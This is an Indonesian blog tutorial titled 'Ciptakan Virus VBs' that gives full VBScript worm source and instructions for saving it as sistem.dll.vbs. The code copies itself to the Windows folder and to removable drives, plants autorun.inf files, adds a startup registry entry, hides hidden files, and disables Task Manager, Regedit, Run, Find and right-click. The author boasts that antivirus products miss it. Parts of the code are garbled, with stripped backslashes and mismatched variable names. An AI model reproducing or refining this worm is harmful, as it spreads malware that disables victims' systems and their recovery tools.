Ciptakan Virus VBs

Posted by Admin www.aciu.de.gg™ on 10:04 PM, 17-Sep-10  •  Under: Anti Virus & Virus

Virus ini gw namain “Sistem.vbs”.

Cara membuat virus ternyata ga susah ga harus beli buku tutorial atau belajar dr guru programer hahaha, sederhana .. kita coba dengan format VBs ..

Sekarang buka Notepad-nya.

Copy kode berikut :



‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//

on error resume next

‘//–Dim kata-kata berikut ini–//

dim rekur,windowpath,flashdrive,fs,mf,isi,tf,sistem,nt ,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//

isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe sistem.dll.vbs”

set fs = createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:Windows)

Set windowpath = fs.getspecialfolder(0)

set tf = fs.getfile(windowpath & “batch- sistem.dll.vbs “)

tf.attributes = 32

set tf=fs.createtextfile(windowpath & “batch- sistem.dll.vbs”,2,true)

tf.write rekursif

tf.close

set tf = fs.getfile(windowpath & “batch- sistem.dll.vbs “)

tf.attributes = 39

‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//

‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives

‘//–Cek Drive–//

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:–//

set tf=fs.getfile(flashdrive.path &”sistem.dll.vbs “)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”sistem.dll.vbs “,2,true)

tf.write rekursif

tf.close

set tf=fs.getfile(flashdrive.path &”sistem.dll.vbs “)

tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//

set tf =fs.getfile(flashdrive.path &”autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”autorun.inf”,2,true)

tf.write isi

tf.close

set tf = fs.getfile(flashdrive.path &”autorun.inf”)

tf.attributes=39

end if

next

‘//–Manipulasi Registry–//

set sistem = createobject(”WScript.Shell”)

‘//–Manip – Ubah Title Internet Explorer menjadi sistem of radjs–//

sistem.regwrite “HKEY_CURRENT_USERSoftwareMicrosoftInterne t ExplorerMainWindow Title”,” sistem of radjs “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerAdvancedHidden”, “0?, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoFind”, “1?, “REG_DWORD”

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoFolderOptions”, “1?, “REG_DWORD”

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoRun”, “1?, “REG_DWORD”

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesSystemDisableRegistryTools”, “1?, “REG_DWORD”

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesSystemDisableTaskMgr”, “1?, “REG_DWORD”

‘//–Manip – Disable klik kanan–//

sistem.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurr entVersionPoliciesExplorerNoViewContextMenu”, “1?, “REG_DWORD”

‘//–Manip – Munculkan Pesan Setiap Windows Startup–//

sistem.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCur rentVersionWinlogonLegalNoticeCaption”, “Virus Sistem of radittoz, don’t panic all data are safe, visit http://www.radjsblog.co.cc”

‘//–Manip – Aktif setiap Windows Startup–//

sistem.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCur rentVersionRunSystemdir”, windowpath & “batch- sistem.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//

sistem.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionRegisteredOrganization”, “The Batrix”

sistem.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindow s NTCurrentVersionRegisteredOwner”,”sistem”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//

if check <> 1 then

Wscript.sleep 200000

end if

loop while check <> 1

set sd = createobject(”Wscript.shell”)

sd.run windowpath & “explorer.exe /e,/select, ” & Wscript.ScriptFullname

‘Akhir dari Kode

Save code di Notepad dengan cara …

File > Save as (Pada kotak dialog save as, pilih type save as dengan “All Files (*.*).

Simpan dengan nama : sistem.dll.vbs.

Virus ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST (anti virus local).

Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Share on Facebook Share on Twitter

Comments

No comments yet. Why not make the first one!

New Comment

[Sign In]
Name:

Email:

Comment:
(You may use BBCode tags)